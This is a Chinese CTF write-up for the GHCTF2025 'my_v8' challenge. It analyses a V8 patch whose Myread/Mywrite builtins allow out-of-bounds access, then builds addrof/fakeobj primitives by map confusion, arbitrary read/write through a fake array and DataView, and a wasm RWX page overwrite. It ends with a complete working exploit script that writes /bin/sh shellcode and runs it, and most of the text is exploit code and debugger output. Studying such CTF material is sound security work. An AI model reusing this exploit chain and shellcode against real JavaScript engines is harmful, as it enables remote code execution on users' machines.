0%

my_v8 WP

2025-03-09 11:34By
Lxxxt
其他

GHCTF2025-my_v8

漏洞分析

changes_Myread_Mwrite.diff:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36b5e9..406ca1eac98 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1666,6 +1666,10 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, false); SimpleInstallFunction(isolate_, proto, "copyWithin", Builtins::kArrayPrototypeCopyWithin, 2, false); + SimpleInstallFunction(isolate_, proto, "Myread", + Builtins::kMyread, 1, false); + SimpleInstallFunction(isolate_, proto, "Mywrite", + Builtins::kMywrite, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); SimpleInstallFunction(isolate_, proto, "find", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340ece7a..604a876df01 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,39 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(Myread) { + uint32_t len = args.length(); + if( len > 1 ) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate,args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); +} + +BUILTIN(Mywrite) { + uint32_t len = args.length(); + if( len > 2 ) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate,args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + + if( len == 2) { + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } + else{ + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 04472309fc0..752a08ce7ca 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,8 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(Myread) \ + CPP(Mywrite) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5c6d8..11b28a92e13 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1678,6 +1678,10 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Boolean(); case Builtins::kArrayPrototypeSplice: return Type::Receiver(); + case Builtins::kMyread: + return Type::Receiver(); + case Builtins::kMywrite: + return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger;

题目新定义了两个函数,myread和mywrite;

如果read参数只有一个(this参数),将数组转换成FixedDoubleArray,然后返回array[length],若write函数有两个参数(this和value),他以float形式将value写入arrya[length]。该题目存在数组越界,因为我们可以控制length的值。

由于这是第一次做V8题目,先写一个demo来分析js中数组的内存布局:

var a = [1.1, 2.2, 3.3, 4]; %DebugPrint(a); %SystemBreak(); var b = [1, 2, 3]; %DebugPrint(b); %SystemBreak(); var c = [a, b] %DebugPrint(c); %SystemBreak();
DebugPrint: 0xde87254de81: [JSArray] - map: 0x2894837c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x3f5bd7a11111 <JSArray[0]> - elements: 0x0de87254de51 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS] - length: 4 - properties: 0x3fac5ae00c71 <FixedArray[0]> { #length: 0x07833cb801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x0de87254de51 <FixedDoubleArray[4]> { 0: 1.1 1: 2.2 2: 3.3 3: 4 } 0x2894837c2ed9: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x2894837c2e89 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x07833cb80609 <Cell value= 1> - instance descriptors #1: 0x3f5bd7a11f99 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x3f5bd7a11f09 <TransitionArray[4]>Transition array #1: 0x3fac5ae04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2894837c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x3f5bd7a11111 <JSArray[0]> - constructor: 0x3f5bd7a10ec1 <JSFunction Array (sfi = 0x7833cb8aca1)> - dependent code: 0x3fac5ae002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0

可以看到一个对象结构布局:

map: 定义了如何访问对象 prototype: 对象的原型(如果有) elements: 对象的地址 length: 长度 properties: 属性,存有map和length

然后利用jobtel命令看下elements结构

image-20250307171733543

image-20250307172015982

可以看到JSArraymap类型是在element类型的下边,我们可以利用数组越界写去修改map结构地址去修改一些变量的数据类型,达到类型混淆的作用。

还分析了整数数组和对象数组,就不贴了;

代码编写

注意:代码中所有的+1n-1n都是因为再内存中的地址与我们想要的地址相差0x1大小

首先实现以下辅助函数,用于浮点数转整数,整数转浮点数以及字节串表示整数;

实现的方法为开辟一块空间,创建两个数组,分别是浮点数组和整数数组,公用一块空间;

var buf = new ArrayBuffer(16); var float64 = new Float64Array(buf); new biguint64 = new BigUint64Array(buf); function f2i(f){ float64[0] = f; return biguint64[0]; } function i2f(i){ biguint64[0] = i; return float64[0]; } function hex(i){ return i.toString(16).padStart(16, "0"); }

我们接下来分别实现两个函数leakAddrfakeObject

function leakAddr(obj){ obj_array[0] = obj; obj_array.Mywrite(float_array_map); let obj_addr = f2i(obj_array[0])-1n; obj_array.Mywrite(obj_array_map); return obj_addr; } function fakeObject(addr_to_fake){ float_array[0] = i2f(addr_to_fake + 1n); float_array.Mywrite(obj_array_map); let fake_obj = float_array[0]; float_array.Mywrite(float_array_map); return fake_obj; }

这两个函数是根据我们前面学习的类型的结构所构造出的漏洞利用函数:

  • leakAddr:
    • 首先将想要泄露的对象的地址传入对象数组obj_arr
    • 利用Mywrite函数将对象数组obj_arrmap改为float_map,这样对象数组会被识别为浮点数数组;
    • 此时读取obj_arr[0],会被认为读取了一个浮点数组,会直接输出obj_arr[0]处所存储的地址;
    • 恢复map。
  • fakeObject:
    • 将要伪造的地址赋值给浮点数组float_arr[0],此时会直接存储该地址;
    • 将浮点数组的map修改为对象数组的map,将其强制转换为对象数组;
    • 读取float_att[0],就会将我们输入的地址作为对象返回给用户;
    • 恢复map。

任意地址读写

伪造原理:

如果再一块内存上部署了上述虚假的内存属性,比如mapprototypeelements指针lengthproperties属性,我们就可以用fakeObject把这块内存强制伪造成一个数组对象。

并且,我们伪造的这个对象的elements指针是可以控制的,也就是说,如果我们将这个指针修改为我们想要访问的内存地址,那后续访问这个数组对象的内容,实际上就是访问我们修改后的内存地址指向的内容,这样也就实现了对任意地址的内容读写。

构造fakeArray

首先创造一个float数组对象fake_array,可以用leakaddr函数泄露fakearray的地址,然后根据elements对象与fakeobject的内存偏移,可以得出elements的地址:

elements + 0x10为所存储元素的位置,假设存了n个元素,并且element的位置是在泄露的对象的地址的上方所以计算公式为:

elements + 0x10 + 0x8*n = leakAddr(fake_object)

这里再放一张再gdb中查看的数组结构,根据对应位置伪造fake_object:

image-20250309171617251

所以我们构造为如下形式:

var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n), i2f(0x1000000000n), 1.1, 2.2 ];

此时泄露fake_array地址,那么他存有6个元素,也就是说访问fake_array的地址减去0x30即为elements+0x10的地址,也就是访问0x41414141+0x10处的内容。

实现任意读写

手下我们再内存中伪造一个fake_array数组,这个数组最开始是浮点数组,然后通过leakaddr函数泄露fake_array的地址fake_array_addr,然后将fake_array_addr-0x40+0x10fake_array_addr - 0x30,这里是因为我们泄露的地址是数组结构体的map地址,所以减去0x30是elements存储的元素的位置,也就是elements+0x10;然后使用FakeObject函数将这个地址转化为一个对象地址fake_object,类型是浮点数组,后续可以通过修改fake_array的元素来修改我们伪造的这个fake_object的内容了。

  • 任意读:
    • 将需要读的地址addr-0x10,赋值给fake_array[2],也就是elements位置,之前说了得到地址是elements+0x10的地址,所以这里输入才会减去0x10;
    • 读取fake_object[0],此时会将addr的值作为浮点数输出。

当然任意写也是如此;

var a = [1.1, 2.2, 3.3]; %DebugPrint(a); var a_addr = leakAddr(a); console.log("[+] Addr of a: 0x" + hex(a_addr)); read64(a_addr); %SystemBreak(); write64(a_addr, 0xdeadbeefn); %SystemBreak()

image-20250309175545551

image-20250309175607431

image-20250309175639461

image-20250309175617200

image-20250309175626013

通过上面的方式任意地址写,在写0x7fxxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。

解决方法:DataView对象中的backing_store会指向申请的data_buf(backing_store相当于我们的elements),修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

浏览器运行shellcode

wasm是让JavaScript直接执行高级语言生成的机器码的一种技术

  • 首先加载一段wasm代码到内存中;
  • 然后通过leakaddr找到存放的wasm的内存地址;
  • 接着通过任意地址写原语用shell从的替换原本wasm的代码内容;
  • 最后调用wasm函数接口即可触发执行shellcode;

寻找rwxpage的链子:Function -> shared_info -> WasmExportedFunctionData -> instance + 0x88

调试过程:

pwndbg> set args --allow-natives-syntax ./test.js pwndbg> r Starting program: /home/lxxxt/desktop/source_v8/v8/out/x64_ghctf.release/d8 --allow-natives-syntax ./test.js [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7f37bf000640 (LWP 66572)] [New Thread 0x7f37be600640 (LWP 66573)] [New Thread 0x7f37bdc00640 (LWP 66574)] [+] leak addr: 0x00002f67079a1fa8 of map: 0x00003ae1c3c76000 0x2f67079a2119 <JSFunction 0 (sfi = 0x2f67079a20e1)> pwndbg> job 0x2f67079a2119 0x2f67079a2119: [Function] in OldSpace - map: 0x0f7ac21c4379 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2f6707982109 <JSFunction (sfi = 0x7a7cc6c3b29)> - elements: 0x0e9e11300c71 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2f67079a20e1 <SharedFunctionInfo 0> - name: 0x0e9e11304ae1 <String[#1]: 0> - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2f6707981869 <NativeContext[246]> - code: 0x142cde102001 <Code JS_TO_WASM_FUNCTION> - WASM instance 0x2f67079a1f21 - WASM function index 0 - properties: 0x0e9e11300c71 <FixedArray[0]> { #length: 0x07a7cc6c04b9 <AccessorInfo> (const accessor descriptor) #name: 0x07a7cc6c0449 <AccessorInfo> (const accessor descriptor) #arguments: 0x07a7cc6c0369 <AccessorInfo> (const accessor descriptor) #caller: 0x07a7cc6c03d9 <AccessorInfo> (const accessor descriptor) } - feedback vector: not available pwndbg> job 0x2f67079a20e1 0x2f67079a20e1: [SharedFunctionInfo] in OldSpace - map: 0x0e9e113009e1 <Map[56]> - name: 0x0e9e11304ae1 <String[#1]: 0> - kind: NormalFunction - function_map_index: 144 - formal_parameter_count: 0 - expected_nof_properties: 0 - language_mode: sloppy - data: 0x2f67079a20b9 <WasmExportedFunctionData> - code (from data): 0x142cde102001 <Code JS_TO_WASM_FUNCTION> - function token position: -1 - start position: -1 - end position: -1 - no debug info - scope info: 0x0e9e11300c61 <ScopeInfo[0]> - length: 0 - feedback_metadata: 0xe9e11302a39: [FeedbackMetadata] - map: 0x0e9e11301319 <Map> - slot_count: 0 pwndbg> job 0x2f67079a20b9 0x2f67079a20b9: [WasmExportedFunctionData] in OldSpace - map: 0x0e9e11305879 <Map[40]> - wrapper_code: 0x142cde102001 <Code JS_TO_WASM_FUNCTION> - instance: 0x2f67079a1f21 <Instance map = 0xf7ac21c9789> - function_index: 0 pwndbg> job 0x2f67079a1f21 0x2f67079a1f21: [WasmInstanceObject] in OldSpace - map: 0x0f7ac21c9789 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x24928ffcac19 <Object map = 0xf7ac21cac79> - elements: 0x0e9e11300c71 <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x24928ffcfeb9 <Module map = 0xf7ac21c91e9> - exports_object: 0x24928ffd00f1 <Object map = 0xf7ac21cadb9> - native_context: 0x2f6707981869 <NativeContext[246]> - memory_object: 0x2f67079a2049 <Memory map = 0xf7ac21ca189> - table 0: 0x24928ffd0089 <Table map = 0xf7ac21c9aa9> - imported_function_refs: 0x0e9e11300c71 <FixedArray[0]> - managed_native_allocations: 0x24928ffd0031 <Foreign> - memory_start: 0x7f35bd200000 - memory_size: 65536 - memory_mask: ffff - imported_function_targets: 0x575e394ef9e0 - globals_start: (nil) - imported_mutable_globals: 0x575e394efa00 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x0e9e11300c71 <FixedArray[0]> {} pwndbg> tel 0x2f67079a1f21-1+0x88 00:0000│ 0x2f67079a1fa8 —▸ 0x3ae1c3c76000 ◂— movabs r10, 0x3ae1c3c76260 /* 0x3ae1c3c76260ba49 */ 01:0008│ 0x2f67079a1fb0 —▸ 0x24928ffcfeb9 ◂— 0x7100000f7ac21c91 02:0010│ 0x2f67079a1fb8 —▸ 0x24928ffd00f1 ◂— 0x7100000f7ac21cad 03:0018│ 0x2f67079a1fc0 —▸ 0x2f6707981869 ◂— 0xe9e11300f 04:0020│ 0x2f67079a1fc8 —▸ 0x2f67079a2049 ◂— 0x7100000f7ac21ca1 05:0028│ 0x2f67079a1fd0 —▸ 0xe9e113004d1 ◂— 0xe9e113005 ... ↓ 2 skipped pwndbg> vp 0x3ae1c3c76000 LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x31016f6d4000 0x31016f6dc000 rw-p 8000 0 [anon_31016f6d4] ► 0x3ae1c3c76000 0x3ae1c3c77000 rwxp 1000 0 [anon_3ae1c3c76] +0x0 0x3ae1c3c77000 0x3ae203c76000 ---p 3ffff000 0 [anon_3ae1c3c77] pwndbg>
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128, 128,0,1,96,0,1,127,3,130,128,128,128, 0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128, 0,0,7,145,128,128,128,0,2,6,109,101,109,111, 114,121,2,0,4,109,97,105,110,0,0,10,142,128,128, 128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]); var wasm_module = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_module); var func = wasm_instance.exports.main; var wasm_instance_addr = leakAddr(wasm_instance) var func_addr = leakAddr(func); var rwx_addr = read64(wasm_instance_addr + 0x88n) + 1n; %DebugPrint(func); %SystemBreak(); console.log("[+] func_addr: 0x" + hex(func_addr)); console.log("[+] wasm_instance_addr: 0x" + hex(wasm_instance_addr)); console.log("[+] rwx_addr: 0x" + hex(rwx_addr));

exp

// var a = [1, 2, 3, 4]; // var data = a.Myread(); // %DebugPrint(a); // %SystemBreak(); // console.log("[*] Myread return data: "+data.toString()) // a.Mywrite(2); // %DebugPrint(a); // %SystemBreak(); var obj = {"a": 1}; var obj_array = [obj]; var float_array = [1.1]; // %DebugPrint(obj); // %DebugPrint(obj_array); // %DebugPrint(float_array); // %SystemBreak(); var obj_array_map = obj_array.Myread(); var float_array_map = float_array.Myread(); // %DebugPrint(obj_array_map); // %DebugPrint(float_array_map); // %SystemBreak(); var buf = new ArrayBuffer(16); var float64 = new Float64Array(buf); var biguint64 = new BigUint64Array(buf); function f2i(f){ float64[0] = f; return biguint64[0]; } function i2f(i){ biguint64[0] = i; return float64[0]; } function hex(i){ return i.toString(16).padStart(16, "0"); } function leakAddr(obj){ obj_array[0] = obj; obj_array.Mywrite(float_array_map); let obj_addr = f2i(obj_array[0])-1n; obj_array.Mywrite(obj_array_map); return obj_addr; } function fakeObject(addr_to_fake){ float_array[0] = i2f(addr_to_fake + 1n); float_array.Mywrite(obj_array_map); let fake_obj = float_array[0]; float_array.Mywrite(float_array_map); return fake_obj; } var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n), i2f(0x100000000n), 1.1, 2.2 ]; var fake_array_addr = leakAddr(fake_array); var fake_object_addr = fake_array_addr - 0x40n + 0x10n; var fake_object = fakeObject(fake_object_addr); function read64(addr){ fake_array[2] = i2f(addr - 0x10n + 0x1n); let leak_data = f2i(fake_object[0]); console.log("[+] leak addr: 0x" + hex(addr) + " of map: 0x" + hex(leak_data)); return leak_data; } function write64(addr, data){ fake_array[2] = i2f(addr - 0x10n + 0x1n); fake_object[0] = i2f(data); console.log("[+] write to: 0x" + hex(addr) + ": 0x" + hex(data)); } function copy_shellcode_to_rwx(shellcode, rwx_addr){ var data_buf = new ArrayBuffer(shellcode.length*8); var data_view = new DataView(data_buf); var buf_backing_store_addr = leakAddr(data_buf) + 0x20n; console.log("[+] buf_backing_store_addr: 0x" + hex(buf_backing_store_addr)); write64(buf_backing_store_addr, rwx_addr); for(let i = 0; i < shellcode.length; i++){ data_view.setFloat64(i*8, i2f(shellcode[i]), true); } } let pwn = () => { var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128, 128,0,1,96,0,1,127,3,130,128,128,128, 0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128, 0,0,7,145,128,128,128,0,2,6,109,101,109,111, 114,121,2,0,4,109,97,105,110,0,0,10,142,128,128, 128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]); var wasm_module = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_module); var func = wasm_instance.exports.main; var wasm_instance_addr = leakAddr(wasm_instance) var func_addr = leakAddr(func); var rwx_addr = read64(wasm_instance_addr + 0x88n) + 1n; console.log("[+] func_addr: 0x" + hex(func_addr)); console.log("[+] wasm_instance_addr: 0x" + hex(wasm_instance_addr)); console.log("[+] rwx_addr: 0x" + hex(rwx_addr)); var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ] copy_shellcode_to_rwx(shellcode, rwx_addr); func() } pwn(); // %SystemBreak();
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论

太吊了